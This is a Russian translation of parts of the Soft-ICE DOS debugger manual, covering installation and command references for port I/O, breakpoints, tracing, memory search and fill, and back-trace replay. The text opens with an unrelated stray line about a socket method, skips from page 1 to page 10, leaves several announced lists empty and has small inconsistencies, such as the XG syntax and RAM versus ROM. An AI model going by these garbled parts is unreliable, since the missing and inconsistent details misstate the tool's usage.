Нужно заметить, что метод SendStream используется не только сервером, но и клиентом (ClientSocket1.Socket.SendStream(srcfile)).

Руководство по Soft-ICE (DOS) - 1.

РАЗДЕЛ I - Изучение Soft-ICE

ГЛАВА 1

1.1 Описание Продукта

Soft-ICE - инструмент отладки программного обеспечения, который обеспечивает возможности отладки на аппаратном уровне для отладчиков PC DOS и MS DOS.

Soft-ICE использует защищенный режим 80386, чтобы запускать DOS в виртуальной машине. Это дает Soft-ICE полный контроль над окружением DOS. Soft-ICE использует особенности защищенного режима 80386, типа страничной организации памяти, уровня привилегий ввода/вывода и регистров отладки, для установки аппаратных точек останова из вашего существующего отладчика DOS.

Soft-ICE был разработан для достижения трех целей:

Предоставляемые возможности программы Soft-ICE:

Внимание: Soft-ICE будет работать только с программами реального режима адресации. Он не будет работать с программами, которые используют инструкции защищенного режима 80286 или 80386.

1.2 Использование этого Руководства

Руководство по Soft-ICE разделено на четыре основные части:

Soft-ICE можно использовать в большинстве отладочных задач после прочтения Части I,"Изучение Soft-ICE" и небольшого экспериментирования. Дружествен- ная интерактивная система помощи пользователям Soft-ICE может использоваться для получения описания и синтаксиса команд.

Часть "Изучение Soft-ICE" содержит инструкции по установке, описание интер- фейса пользователя и обучающую часть. Обучающая часть предназначена для того, чтобы вы быстро смогли освоиться и начать работу.

Часть "Команды" описывает все команды Soft-ICE. Описания команд упорядочены по функциональным группам с буквенным индексом для ссылок.

Часть "Поддерживаемые Возможности" охватывает расширенные опции загрузки, символьную отладку и отладку на уровне исходных текстов, возможности EMM 4.0.

Часть "Дополнительные Темы" охватывает темы типа использования Soft-ICE с загружаемыми драйверами ДОС и использования Soft-ICE с другими ОС (non-DOS).

Во всем руководстве, особенно в обучающей части и части с описанием команд, даны примеры, требующие ввода данных в Soft-ICE. Когда в руководстве указано.

"Нажмите" клавишу, вы должны нажать указанную клавишу. Когда в руководстве указано "Введите" команду типа WIN, вы должны набрать на клавиатуре указан- ные буквы, после чего нажать ВВОД.

1.3 Системные требования

Soft-ICE работает с IBM Серии II модели 70 и 80, Compaq 80386 и компьютерами 80386SX, с совместимыми с AT и 80386 картами сопроцессора. Soft-ICE будет работать с сопроцессорами 80386 XT только, если они совместимы с AT.

Soft-ICE лучше всего работает при наличии расширенной памяти, но так же прекрасно работает на системах только с основной памятью.

Soft-ICE не использует DOS или ROM BIOS для видео вывода и клавиатурного ввода. Поэтому видеоадаптер должен быть совместим с одним из следующих: MDA, Hercules, CGA, EGA или VGA. Soft-ICE также поддерживает двухмониторную конфигурацию, которая очень полезна при отладке программ, интенсивно работа- ющих с видеоадаптером.

ГЛАВА 2

2.1 Дискеты

Soft-ICE поставляется на дискетах 5 1/4 или 3 1/2 дюйма.

При запуске Soft-ICE, как мера против компьютерных пиратов, на экран выводится имя лица, обладающего лицензией на использование вашей копии Soft-ICE. Для вашего удобства дискета с Soft-ICE физически не защищена от копирования. Для нашего удобства, мы надеемся на ваше серьезное отношение к нашему лицензионному соглашению. Важно сделать резервную копию дискеты на случай повреждения оригинала.

В директории дискеты Soft-ICE должны находиться следующие файлы:

2.2 Загрузка Soft-ICE

Перед запуском Soft-ICE, скопируйте все файлы с дистрибутивной дискеты на ваш жесткий диск.

Эти файлы должны быть помещены в каталог, доступный через ваш дополнительный список путей (path list).

S-ICE.EXE может быть загружен как драйвер устройства в CONFIG.SYS или запущен как программа из командной строки. Чтобы использовать большинство возможностей Soft-ICE, S-ICE.EXE должен быть загружен как драйвер устройства в CONFIG.SYS.

Внимание: Если у вас нет расширенной памяти, Soft-ICE НЕ может быть загружен как драйвер устройства. Вместо этого он должен быть запущен из командной строки DOS.

2.2.1 Загрузка Без Расширенной Памяти

Когда нет расширенной памяти, Soft-ICE загружается в максимально высокие адреса памяти. В таком случае память, используемая Soft-ICE, исключается из карты памяти, что делает его невидимым для программ DOS. Так как после загрузки Soft-ICE уменьшается память, видимая программами DOS, рекомендуется.

Загружать Soft-ICE до всех TSR или контролирующих программ. Если у вас нет расширенной памяти, просто введите:

S-ICE

2.2.2 Загрузка С Расширенной Памятью

Загрузка Soft-ICE с расширенной памятью может выполняться одним из двух путей:

1. Установить S-ICE.EXE как драйвер в CONFIG.SYS, Этот метод необходим, если вы будете использовать какую-то из следующих возможностей:

Загруженный как драйвер, Soft-ICE выделяет часть расширенной памяти для себя и связанных с ним компонент, так что не возникает никаких конфликтов в памяти. S-ICE.EXE должен быть загружен в CONFIG.SYS перед всеми другими драйверами, которые выделяют расширенную память при загрузке (например VDISK.SYS, RAMDRIVE.SYS). Вообще Soft-ICE работает лучше всего, если он является первым загружаемым драйвером, установленным в CONFIG.SYS.

Для начинающих пользователей Soft-ICE рекомендуется загружать Soft-ICE как первый драйвер в CONFIG.SYS в следующем виде:

device = диск:\путь\S-ICE.EXE /SYM 50

Диск и путь определяют директорию, в которой находится S-ICE.EXE. Эта строка загрузит Soft-ICE при инициализации системы и этого будет достаточно для обучающей части. Однако, Soft-ICE не будет установлен для использования некоторых более мощных возможностей, типа EMM 4.0. Вы можете реконфигурировать Soft-ICE и включить эти возможности после того, как вы немного поэкспериментировали. Если у вас уже есть опыт работы с Soft-ICE или вы хотите немедленно установить Soft-ICE с этими возможностями, пожалуйста прочтите главу 6 (Опции Инициализации Soft-ICE).

Предостережение: При первой на вашей системе установке любого нового драйвера устройства, желательно иметь системную дискету. Это - предупредительная мера для тех не- желательных случаев, когда параметры, принимаемые драйвером по умолчанию, не совместимы с вашей системой.

Если вы точно не знаете, как отредактировать ваш файл CONFIG.SYS, обратитесь к руководству пользователя вашей системы или руководству вашего текстового редактора. После того, как вы изменили ваш CONFIG.SYS вы должны перезагрузить вашу систему, чтобы внесенные изменения вступили в силу.

Руководство по Soft-ICE (DOS) - 10.

Синтаксис:

 [команда | выражение]

Комментарии:

И команда ? и команда H выводят справочную информацию.

Если параметры не определены, система помощи выдает короткие описания всех команд и операторов, по одному экрану за раз. Нажмите любую клавишу для продолжения или нажмите ESC, чтобы выйти из выводимой справки.

Если указана команда, справка выводит более детальную информацию относительно указанной команды, включая синтаксис команды и пример.

Если указано выражение, выражение вычисляется и результат выводится в шестнадцатеричном, десятичном и ASCII-представлении.

Примеры:

? ALTKEY

Эта команда отображает информацию о команде ALTKEY, включая синтаксис и пример.

H 10 + 14*2

Эта команда выводит: 0038 00056 "8". Это - шестнадцатеричное, десятичное и ASCII-представления значения выражения "10 + 14*2".

VER

VER -- Выводит номер версии Soft-ICE.

Синтаксис:

VER

Пример:

VER

Эта команда выводит версию Soft-ICE и сообщение об авторских правах Nu-Mega Technologies.

5.2 Команды Портов ввода/вывода

Команды:

I или IB -- Ввод из байтового порта ввода/вывода IW -- Ввод из порта ввода/вывода с размерностью в слово O или OB -- Вывод в байтовый порт ввода/вывода OW -- Вывод в порт ввода/вывода с размерностью в слово.

I, IB, IW

I, IB, IW -- Ввод из порта ввода/вывода.

Синтаксис:

I [размерность] порт

Размерность -- B -- Байт W -- Слово порт -- байт или слово.

Комментарии:

Команды ввода из порта используются для чтения и отображения значений из аппаратного порта. Ввод может выполняться из портов с размерностью слово или байт. Если размер не определен, то значение по умолчанию - байт.

Пример:

I 21

Эта команда отображает регистр маски первого контроллера прерываний.

O, OB, OW

O, OB, OW, -- Вывод в порт ввода/вывода.

Синтаксис:

O [размерность] порт значение

Размерность -- B -- Байт W -- Слово порт -- байт или слово значение -- байт для байтового порта или слово для порта размерностью в слово.

Комментарии:

Команды вывода в порт используются для записи значения в аппаратный порт. Вывод может выполняться в порты размерностью байт или слово, если размер не определен, то значение по умолчанию - байт.

Пример:

O 21 FF

Эта команда маскирует все прерывания для первого контроллера прерываний.

5.3 Команды Передачи Управления

Команды:

X -- Выйти из окна Soft-ICE G -- Перейти по адресу T -- Протрассировать одну команду P -- Программный шаг HERE -- Исполнение программы до строки, в которой находится курсор GENINT -- Вызов прерывания EXIT -- Вызывает выход из текущей программы DОS'а BOOT -- Перезагрузка системы (с сохранением Soft-ICE) HBOOT -- Жесткая перезагрузка системы (общий сброс).

X

X -- Выйти из окна Soft-ICE.

Синтаксис:

X

Комментарии:

Команда X производит выход из окна Soft-ICE и возвращает управление программе, которая была прервана при вызове Soft-ICE. Окно Soft-ICE исчезает. Если до этого были установлены точки останова, они станут активными.

Пример:

X

G

G -- Перейти по адресу.

Синтаксис:

G [=адрес-начала] [адрес-останова]

Комментарии:

Команда G вызывает выход из окна Soft-ICE с одноразовым набором точек останова на выполнение. Кроме того, активизируются все "прилипающие" точки останова.

Если не указан параметр адрес-начала, выполнение начинается с текущего CS:IP. В противном случае выполнение начинается с адреса-начала. Выполнение продолжается, пока не достигается адрес-останова, используется комбинация клавиш для вызова окна или не выполняется "прилипающая" точка останова.

Адрес останова должен указывать на первый байт опкода команды.

Когда достигается указанный адрес-останова, текущий CS:IP будет указывать на команду, где была установлена точка останова.

Команда G без параметров ведет себя также как команда X.

Обычная точка останова на выполнение использует 1 отладочный регистр 80386, пока все отладочные регистры не будут распределены для "прилипающих" точек останова. В этом случае, будет произведен останов в стиле INT 3. В таком случае команды G и P не будут корректно работать в ПЗУ. При попытке их использования будет выведено сообщение об ошибке.

Пример:

G CS:1234

Эта команда устанавливает временную точку останова на CS:1234.

T

T -- Протрассировать одну команду.

Синтаксис:

T [=адрес-начала] [счетчик]

Комментарии:

Команда T выполняет одиночный шаг на одну команду, используя флаг трассировки.

Если параметр адрес-начала не указан, выполнение начинается с текущего CS:IP. Если адрес-начала - определен, CS:IP изменяется на адрес-начала для трассировки.

Если указано значение счетчика, Soft-ICE будет считать количество шагов. Команда TRACE будет выполняться, пока счетчик не будет исчерпан или не будет нажата клавиша Esc, независимо от достигнутых точек останова.

В режиме работы с исходным текстом команда T переходит на следующее выражение в исходном тексте. Если текущее выражение - вызов процедуры или функции и есть исходный текст вызываемой подпрограммы, T входит в нее. Если нет исходного текста вызываемой процедуры или функции, T перешагивает через подпрограмму.

Пример:

T = 1284 3

Эта команда трассирует три инструкции, начиная с ячейки памяти 1284.

P

P -- Программный шаг.

Синтаксис:

P

Комментарии:

Команда P - логический шаг программы. По текущему CS:IP выполняется одна команда, если она не является обращением, прерыванием, циклом или командой повторения работы со строковыми данными. В этих случаях, прежде чем управление возвращается Soft-IСЕ'у, выполняется вся подпрограмма или итерация.

Команда P использует одноразовую точку останова на выполнение. Обычная точка останова на выполнение использует 1 отладочный регистр 80386, пока все отладочные регистры не будут распределены для "прилипающих" точек останова. В этом случае, будет произведен останов в стиле INT 3. В таком случае команды G и P не будут корректно работать в ПЗУ. При попытке их использования будет выведено сообщение об ошибке.

В режиме работы с исходным текстом команда P переходит на следующее выражение в исходном тексте. Если текущее выражение - вызов процедуры или функции, P перешагивает через подпрограмму.

Пример:

P

Эта команда выполняет один 'программный шаг'.

HERE

HERE -- Исполнение программы до строки, в которой находится курсор.

Синтаксис:

HERE

Комментарии:

Команда HERE выполняется, пока программа не достигает текущей строки курсора. HERE доступна, только когда курсор находится в окне кода. Если окно кода не видимо или курсор - не в окне кода, используйте вместо этого команду G.

Команда HERE вызывает выход из окна Soft-ICE с одноразовым набором точек останова на выполнение. Кроме того, активизируются все "прилипающие" точки останова.

Выполнение начинается с текущего CS:IP и продолжается до встречи адреса текущей позиции курсора в окне кода, используется комбинация клавиш для вызова окна и выполняется "прилипающая" точка останова.

Обычная точка останова на выполнение использует 1 отладочный регистр 80386, пока все отладочные регистры не будут распределены для "прилипающих" точек останова. В этом случае, будет произведен останов в стиле INT 3. В таком случае команда HERE не будет корректно работать в ОЗУ. При попытке ее использования будет выведено сообщение об ошибке.

Руководство по Soft-ICE (DOS) - 11.

Пример:

HERE

Этот пример устанавливает точку останова на выполнение на текущую позицию курсора, затем выходит из Soft-ICE и начинает выполнение с текущего CS:IP. Заданная по умолчанию Функциональная клавиша: F7.

GENINT

GENINT -- Вызов прерывания.

Синтаксис:

GENINT INT1 | INT3 | NMI | номер-прерывания

Номер-прерывания -- число в диапазоне 00 - FF.

Комментарии:

Команда GENINT вызывает прерывание. Она может использоваться для передачи управления другому отладчику при использовании Soft-ICE с другим отладчиком. Она также может использоваться для проверки подпрограмм обработки прерываний.

Команда GENINT эмулирует последовательность обработки аппаратного прерывания или команды INT. Она сохраняет флаги, регистр CS и регистр IP, затем изменяет значение регистров CS и IP на значение входа в таблицу векторов прерываний, в соответствии с указанным номером прерывания.

Пример:

GENINT NMI

Это вызывает немаскируемое прерывание. Оно передаст управление обратно CodeView, если Soft-ICE используется как вспомогательное средство для CodeView.

EXIT

EXIT -- Вызывает выход из текущей программы DОS'а.

Синтаксис:

EXIT [R] [D]

R -- Восстановить таблицу векторов прерываний D -- Удалить все точки останова.

Комментарии:

Команда EXIT пытается прерывать текущую программу, вызывая функцию выхода DOS (INT 21H, функция 4CH). Эта команда будет работать только если DOS находится в состоянии, когда она способна принять обращение к функции выхода. Если это обращение произведено из некоторых обработчиков прерываний или в других случаях, когда DOS не готова, поведение системы будет непредсказуемо.

Эта функция НЕ производит восстановления системных переменных, кроме таблицы прерываний, при указанной опции R. Это означает что переменные BIOS, видеорежимы и другие данные системного уровня не восстанавливаются.

Использование опции R вызовет восстановление векторов прерываний к значениям которые были в последний раз, когда они были сохранены. Soft-ICE сохраняет векторы прерываний, когда он загружается, когда LDR.EXE загружает программа и когда используется команда VECS S.

Обратите внимание:

Для перезапуска программы, которая была загружена программой-загрузчиком Soft-IСЕ'а (LDR.EXE) сделайте следующее:

EXIT R
LDR prog.EXE

Команда EXIT восстановит таблицу прерываний к значениям, которые содержались в ней до загрузки программы, затем выйдите к командному процессору. При помощи запуска LDR и указания суффикса .EXE, программа загружается обратно без перезагрузки символов и исходного текста. Символы и исходный текст останутся в памяти.

Внимание:

Команда EXIT должна использоваться с осторожностью. Так как Soft-ICE может быть вызван в любое время, может произойти ситуация, когда DOS не в состоянии принять обращение к функции выхода. Также, команда EXIT не производит никакого специфического программного сброса. Например, команда EXIT не восстанавливает видеорежим. Если ваша программа установила видео BIOS и аппаратные средства в определенный видеорежим, они останутся в этом режиме после команды EXIT.

Пример:

EXIT R

Восстанавливает таблицу прерываниq и выходит из текущей программы. Опция R должна использоваться при выходе из программы, загруженной программным загрузчиком Soft-IСЕ'а LDR.EXE.

BOOT

BOOT -- Перезагрузка системы (с сохранением Soft-ICE).

Синтаксис:

BOOT

Комментарии:

Команда BOOT перезагружает систему и сохраняет Soft-ICE. BOOT требуется для отладки последовательности начальной загрузки, загружаемых драйверов DOS и операционных систем отличных от DOS (non-DOS).

BOOT выполняется посредством вызова прерывания 19H ROM BIOS. В некоторых случаях память может быть разрушена до такой степени, что прерывание 19 не будет работать. Тогда вызовите Soft-ICE и используйте команду HBOOT.

Для правильной работы BOOT Soft-ICE должен быть установлен как загружаемый драйвер в CONFIG.SYS перед всеми другими драйверами устройств. Так Soft-ICE сможет восстановить первоначальное состояние системы максимально точно.

Пример:

BOOT

Эта команда выполняет перезагрузку системы. Soft-ICE остается резидентным.

HBOOT

HBOOT -- Жесткая перезагрузка системы (общий сброс).

Синтаксис:

HBOOT

Комментарии:

Команда HBOOT сбрасывает всю систему. Soft-ICE не сохраняется в процессе сброса. HBOOT достаточна, если плата адаптера не требует отключения питания. В этом случае, питание машины нужно отключить и затем восстановить.

Пример:

HBOOT

Эта команда производит перезагрузку системы. Soft-ICE должен быть заново загружен.

5.4 Команды Режима Отладки

Команды:

ACTION -- Устанавливает действие после достижения точки останова WARN -- Устанавливает режим предупреждения повторной входимости DOS/ROM BIOS BREAK -- Прерывает исполнение в любое время I3HERE -- Перенаправить прерывание 3 на Soft-ICE.

ACTION

ACTION -- Устанавливает действие после достижения точки останова.

Синтаксис:

ACTION [INT1 | INT3 | NMI | HERE | int-номер]

Int-номер -- Любой допустимый номер прерывания (0-FFH). Используйте эту опцию только если пользовательская подпрограмма-обработчик прерывания перехватила этот вектор прерывания (смотрите раздел 11.2).

Комментарии:

Команда ACTION определяет, куда передается управление, когда выполнены условия точки останова. В большинстве случаев, желательное действие - INT3 или HERE, INT3 обычно используется, если Soft-ICE используется вместе с главным отладчиком, HERE используется, когда желательно вернуться в Soft-ICE при выполнении условий останова, INT1 и NMI - варианты для некоторых отладчиков, которые не работают с опцией INT3. Например, CODEVEW лучше всего работает с ACTION установленным в NMI.

Используйте int-номер, если имеется установленная пользовательская процедура обработки прерывания. Использование int-номера без установленной процедуры пользователя по обработке прерывания вызовет ошибку. Для получения более подробной информации, см. раздел 11.2, 'Пользовательские точки останова'.

Если параметры команды ACTION не указаны, отображается текущее установленное действие.

Заданное по умолчанию действие - HERE.

Пример:

ACTION HERE

Эта команда указывает, что когда будут выполнены условия точки останова, управление вернется Soft-IСЕ'у.

WARN

WARN -- Устанавливает режим предупреждения повторной входимости DOS/ROM BIOS.

Синтаксис:

WARN [ON | OFF]

Комментарии:

Команда WARN предусмотрена для использования Soft-ICE с отладчиками, которые используют DOS и ROM BIOS. Много отладчиков используют DOS и ROM BIOS для вывода на экран и чтения нажатий клавиш. Так как DOS и ROM BIOS не полностью реентерабельны, эти отладчики не могут корректно работать, если останов происходит во время выполнения процедур DOS или ROM BIOS.

Если установлен WARN ON и ACTION - не HERE, то управление перейдет к Soft-ICE до того как действие фактически произойдет. Система отобразит текущий CS:IP и предоставит вам выбор продолжить или вернуться в Soft-ICE. Вообще, вы должны выбрать возврат в Soft-ICE для продолжения вашей работы по отладке. Продолжайте работу с главным отладчиком, только если вы знаете, что ваш отладчик не вызовет повторного вхождения в DOS или ROM BIOS.

Режим WARN должен быть включен при использовании Soft-ICE с DEBUG, SYMDEB и CODEVIEW.

Если параметры не указаны, отображается текущее состояние WARN.

Значение по умолчанию - режим WARN OFF.

Пример:

WARN ON

Эта команда включает режим предупреждения повторной входимости в DOS/ROM BIOS.

BREAK BREAK -- Прерывает исполнение в любое время.

Синтаксис:

BREAK [ON | OFF]

Комментарии: Команда BREAK позволяет вызывать окно Soft-ICE, когда система остановлена с заблокированными прерываниями. Режим BREAK может использоваться для всего сеанса отладки или он может включаться и отключаться, когда это требуется.

Режим BREAK немного снижает эффективность системы. Это снижение производительности должно оцениваться с точки зрения необходимости выхода из зависшей программы. Пользователь может хотеть иметь включенный режим BREAK на все время, даже при снижении эффективности, потому что программа может зависнуть в любое время.

В отличие от других отладчиков, которые тоже могут быть вызваны в любое время, Soft-ICE не требует внешнего переключателя. Когда BREAK - включен, окно Soft- ICE может быть вызвано в любое время при нажатии текущей комбинации клавиш.

Если параметры не указаны, отображается текущее состояние BREAK.

Значение по умолчанию - BREAK OFF.

Пример:

BREAK ON

Эта команда включает режим BREAK. Это означает что окно Soft-ICE может быть вызвано в любое время, даже если прерывания заблокированы.

Руководство по Soft-ICE (DOS) - 12.

I3HERE

I3HERE -- Перенаправить прерывание 3 на Soft-ICE.

Синтаксис:

I3HERE [ON | OFF]

Комментарии:

Команда I3HERE позволяет вам указать, что любое прерывание 3 вызовет окно Soft-ICE. Эта возможность полезна для остановки вашей программы в определенных местах.

Чтобы использовать эту возможность, поместите INT 3 в ваш код в месте, где вы хотите остановиться. Когда произойдет INT 3, оно вызовет окно Soft-ICE. В этой точке, вы можете использовать команду R IP, чтобы изменить ваш указатель команд на команду, следующую после INT 3, затем вы можете продолжить отладку.

Если параметры не указаны, отображается текущее состояние I3HERE.

Значение по умолчанию - режим I3HERE OFF.

Пример:

I3HERE ON

Эта команда включает режим I3HERE. Любой INT 3, сгенерированный после этого, вызовет окно Soft-ICE.

5.5 Сервисные Команды

Команды:

A -- Транслировать код S -- Поиск данных F -- Заполнить память данными M -- Переместить данные C -- Сравнить два блока данных.

A

A -- Транслировать код.

Синтаксис:

A [Адрес]

Комментарии:

Транслятор Soft-ICE позволяет вам транслировать команды непосредственно в памяти. Транслятор поддерживает базисную систему команд 8086 с расширениями для реального режима 80186 и 80286. Инструкции математического сопроцессора и специфические для 80386 команды, регистры и режимы адресации НЕ могут быть оттранслированы.

Команда A вызывает интерактивный транслятор Soft-ICE. В начале каждой транслируемой строки отображается ее адрес. После того как команда ассемблера набрана и нажат ВВОД, команды транслируются в память по указанному адресу. Команды должны вводиться в стандартном формате Intel. Для выхода из режима транслятора нажмите ВВОД в пустой строке.

Если адресный интервал, в который вы транслируете команды, видим в окне кода, команды будут изменятся интерактивно, по мере трансляции.

Транслятор Soft-IСЕ'а поддерживает стандартную мнемонику семейства 8086, однако имеются некоторые специальные добавления:

Пример:

A CS:1234

Эта команда выводит приглашение для ввода команд ассемблера, затем транслирует их, начиная со смещения 1234H в текущий сегмент кода. Нажмите ВВОД в приглашении с адресом после ввода последней команды.

S

S -- Поиск данных.

Синтаксис:

S адрес L длина список-данных

Список-данных -- список байтов или строк в кавычках, разделенных запятыми или пробелами. Строка в кавычках может начинаться с одинарной или двойной кавычки. длина -- длина в байтах.

Комментарии:

Команда S ищет в памяти последовательности байтов или символов, совпадающих со списком данных. Поиск начинается с указанного адреса и до смещения, равного указанной длине. Адреса каждого найденного в диапазоне совпадения выводятся на экран.

Пример:

S DS:SI+10 L CX 'Привет',12,34

Эта команда ищет строку 'Привет' сопровождаемую байтами 12H и 34H, начиная со смещения SI+10 в текущем сегменте данных и заканчивая адресом через CX байт от начала.

F

F -- Заполнить память данными.

Синтаксис:

F адрес L длина список-данных

Список-данных -- список байтов или строк в кавычках, разделенных запятыми или пробелами. Строка в кавычках может начинаться с одинарной или двойной кавычки. длина -- длина в байтах.

Комментарии:

Команда F заполняет память последовательностью байтов или символов, определенных в списке-данных. Память заполняется, начиная с указанного адреса и до смещения, равного указанной длине, повторяя список-данных в случае необходимости.

Пример:

F 8000:0 L 100 'Тест'

Эта команда заполняет память, начиная с 8000:0 на длину 100H байтов строкой 'Тест'. Строка 'Тест' повторяется, пока не достигнуто необходимое смещение.

М

M -- Переместить данные.

Синтаксис:

М адрес-начала L длина конечный-адрес

Длина -- длина в байтах.

Комментарии:

Команда M перемещает указанное число байтов из адреса-начала в памяти в конечный-адрес в памяти.

Пример:

М 1000:0 L 200 2000:0

Эта команда перемещает 200H байтов из ячейки памяти 1000:0 в ячейку памяти 2000:0.

C

C -- Сравнить два блока данных.

Синтаксис:

C адрес1 L длина адрес2

Длина -- длина в байтах.

Комментарии:

Команда C сравнивает блок памяти, определенный адресом1 и длиной с блоком памяти определенным адресом2 и длиной. Когда байт из первого блока данных не соответствует байту из второго блока данных, оба байта выводятся на экран вместе с их адресами.

Пример:

C 5000:100 L 10 6000:100

Эта команда сравнивает 10H байтов, начинающихся с ячейки памяти 5000:100 с 10H байтами, начинающимися с ячейки памяти 6000:100.

5.6 Специализированные Отладочные Команды

Команды:

SHOW -- Выводит команды из буфера истории исполнения TRACE -- Включает режим эмуляции пошагового исполнения XT -- Одиночный шаг в режиме эмуляции трассировки XP -- Программный шаг в режиме эмуляции трассировки XG -- Переход по адресу в режиме эмуляции трассировки XRSET -- Сброс буфера истории обратной трассировки VECS -- Сохранение/восстановление/сравнение векторов прерываний SNAP -- Запоминает содержимое блока памяти (snap shot) EMMMAP -- Отображают карту распределения EMM.

SHOW

SHOW -- Выводит команды из буфера истории исполнения.

Синтаксис:

SHOW [B | начало]

B -- Указывает команде SHOW начать вывод с самой старой команды в буфере обратной трассировки. начало -- Смещение (в инструкциях) от конца буфера (последней зафиксированной команды) с которого надо начать вывод.

Комментарии:

Команда SHOW отображает команды из буфера истории обратной трассировки. Если для команд доступен исходный текст, то дисплей находится в смешанном режиме, в противном случае отображается только код.

SHOW позволяет просматривать буфер обратной трассировки при помощи клавиш вверх, вниз, PageUp и PaqeDn. Для выхода из SHOW нужно нажать клавишу Esc.

Адресу каждой команды предшествует номер входа в буфер. Этот номер показывает, как глубоко в буфере находится команда. Чем больше номер, тем глубже вы в буфере.

Обратите внимание:

До вызова команды SHOW, команды должны регистрироваться при помощи диапазона обратной трассировки. См. главу 9 для подробной информации о диапазонах.

Подсказки:

Часто полезно иметь видимое окно кода с фактическим кодом области, отображаемой из буфера обратной трассировки. При сравнении фактического исполнения команд с кодом, отображаемыми переходами и обращениями обычно возникает меньше путаницы.

Использование SHOW вместе с командой TRACE позволит вам рассматривать команды в буфере обратной трассировки с двух различных точек зрения.

Пример:

SHOW 40

Этот пример выведет на экран команды из буфера обратной трассировки, начиная с 40-ой инструкции от конца буфера.

TRACE

TRACE -- Включает режим эмуляции пошагового исполнения.

Руководство по Soft-ICE (DOS) - 13.

Синтаксис:

TRACE [начало] | [OFF]

Начало -- Смещение (в инструкциях) от конца буфера (последней зафиксированной команды) с которого надо начать эмуляцию. OFF -- Выход из режима эмуляции трассировки.

Комментарии:

Команда TRACE позволяет вам повторно "проигрывать" команды из буфера истории обратной трассировки команд, так же как они выполнялись в первый раз. Для использования режима эмуляции трассировки вам необходимо иметь видимое окно кода. После входа в режим эмуляции трассировки используйте команды XT, XP и XG для трассировки команд из буфера.

Для выхода из режима эмуляции трассировки введите TRACE OFF.

TRACE без параметров сообщает включен режим эмуляции трассировки или нет.

Обратите внимание:

До вызова команды TRACE, команды должны регистрироваться при помощи диапазона обратной трассировки. См. главу 9 для подробной информации о диапазонах.

Подсказки:

Режим эмуляции трассировки наиболее полезен, когда видимо окно кода. Часто полезно использовать TRACE вместе с командой SHOW. Это позволяет просматривать инструкции в буфере истории обратной трассировки одновременно в двух различных формах.

Пример:

TRACE 40

Этот пример производит эмуляцию трассировки, начиная с 40-ой инструкции от последней зарегистрированной команды. Режим эмуляции трассировки будет активен, пока не будет введено TRACE OFF.

XT

XT -- Одиночный шаг в режиме эмуляции трассировки.

Синтаксис:

XT [R]

R -- Одиночный шаг в обратном направлении.

Комментарии:

Команда XT пошагово проходит буфер истории обратной трассировки инструкций. Эта команда действует подобно команде T для нормальной отладки. Заметьте что в режиме эмуляции трассировки регистры не изменяются, за исключением CS и IP.

Команда XT позволяет вам повторно выполнять команды из буфера истории обратной трассировки.

Обратите внимание:

Для использования XT вы должны быть в режиме эмуляции трассировки. См. главу 9 и команду TRACE из этого раздела для подробной информации о диапазонах обратной трассировки.

Подсказка:

Если вы используете XT часто, то подобно любой другой команде Soft-ICE она может быть привязана к функциональной клавише.

Пример:

XT

Эта команда проходит одну команду в режиме эмуляции трассировки.

XP

XP -- Программный шаг в режиме эмуляции трассировки.

Синтаксис:

XP

Комментарии:

Команда XP производит логический программный шаг в буфере истории обратной трассировки инструкций. Эта команда действует подобно команде P для обычной отладки. Заметьте, что в режиме эмуляции трассировки регистры не изменяются, за исключением CS и IP.

Команда XP позволяет вам повторно выполнять команды из буфера истории обратной трассировки.

Обратите внимание:

Для использования XP вы должны быть в режиме эмуляции трассировки. См. главу 9 и команду TRACE из этого раздела для подробной информации о диапазонах обратной трассировки.

Подсказка:

Если вы используете XP часто, то подобно любой другой команде Soft-ICE она может быть привязана к функциональной клавише.

Пример:

XP

Эта команда выполняет один программный шаг в режиме эмуляции трассировки.

XG

XG -- Переход по адресу в режиме эмуляции трассировки.

Синтаксис:

X [R] адрес

R -- Поиск адреса в обратном направлении. адрес -- Адрес, по которому надо перейти в буфере истории обратной трассировки.

Комментарии:

Команда XG перемещает указатель команд на следующее упоминание указанного адреса в буфере истории обратной трассировки. Если перед адресом указан R, то указатель команды перемещается на предыдущее упоминание указанного адреса в буфере обратной трассировки.

Адрес должен указывать на первый байт опкода команды.

XG аналогична команде G при нормальной отладке.

Обратите внимание:

Для использования XG вы должны быть в режиме эмуляции трассировки. См. главу 9 и команду TRACE из этого раздела для подробной информации о диапазонах обратной трассировки.

Пример:

XG 273:1030

Эта команда перемещает указатель команд на следующее упоминание команды по адресу 273:1030.

XRSET

XRSET -- Сброс буфера истории обратной трассировки.

Синтаксис:

XRSET

Комментарии:

Команда XRSET сбрасывает буфер истории обратной трассировки. Эта команда должна выполняться перед установкой диапазона обратной трассировки, если в буфере обратной трассировки имеется нежелательная информация о командах.

Пример:

XRSET

Эта команда сбрасывает буфер обратной трассировки.

VECS

VECS -- Сохранение/восстановление/сравнение векторов прерываний.

Синтаксис:

VECS [C|S|R]

C -- Сравнить текущую таблицу с сохраненной таблицей S -- Сохранить текущую таблицу прерываний в буфере R -- Восстановить таблицу прерываний из буфера.

Комментарии:

Команда VECS позволяет вам сохранять и восстанавливать таблицу прерываний из внутреннего буфера Soft-ICE. Также фактическая таблица может сравниваться с сохраненной таблица с отображением различий.

Когда используется опция C, для сравнения текущей таблицы векторов прерываний с сохраненной копией, вывод производится в следующем формате:

Адрес старый-вектор новый-вектор.

Отображаются все измененные векторы.

Таблица векторов прерываний первоначально сохраняется, при загрузке Soft-ICE. Это Она также автоматически сохраняется при загрузке программы LDR'ом. Хранится только одна копия таблицы векторов прерываний, т.о. при каждом выполнении VECS S, предыдущая копия таблицы прерываний перезаписывается.

Если параметры не указаны, на экран выводится вся таблица векторов прерываний.

Пример:

VECS C

Эта команда сравнивает фактическую таблицу векторов прерываний с предварительно сохраненной во внутреннем буфере векторов Soft-ICE.

SNAP

SNAP -- Запоминает содержимое блока памяти (snap shot).

Синтаксис:

SNAP [C|S|R] адрес1 адрес2

C -- Сравнить буфер с адресным интервалом S -- Сохранить адресный интервал в буфере R -- Восстановить адресный интервал из буфера.

Комментарии:

Команда SNAP запоминает содержимое блока памяти для последующего сравнения. Опция S копирует блок памяти в буфер в дополнительной памяти (XMS). Опция C отображает различия между буфером в дополнительной памяти и фактической памятью, определенной адресным интервалом. Опция R копирует буфер в дополнительной памяти в адресный интервал в стандартной памяти.

Когда используется опция C, для сравнения буфера с адресным интервалом, вывод производится в следующем формате:

Адрес старые-данные новые-данные.

Отображаются все измененные байты.

Обычно для опций C и R адрес необязателен. Если адрес не указан, используется адрес, который был указан в последний раз при использовании команды SNAP.

Примечания:

Для использования команды SNAP вы должны указать переключатель /TRA XXXX в строке S-ICE.EXE в CONFIG.SYS.

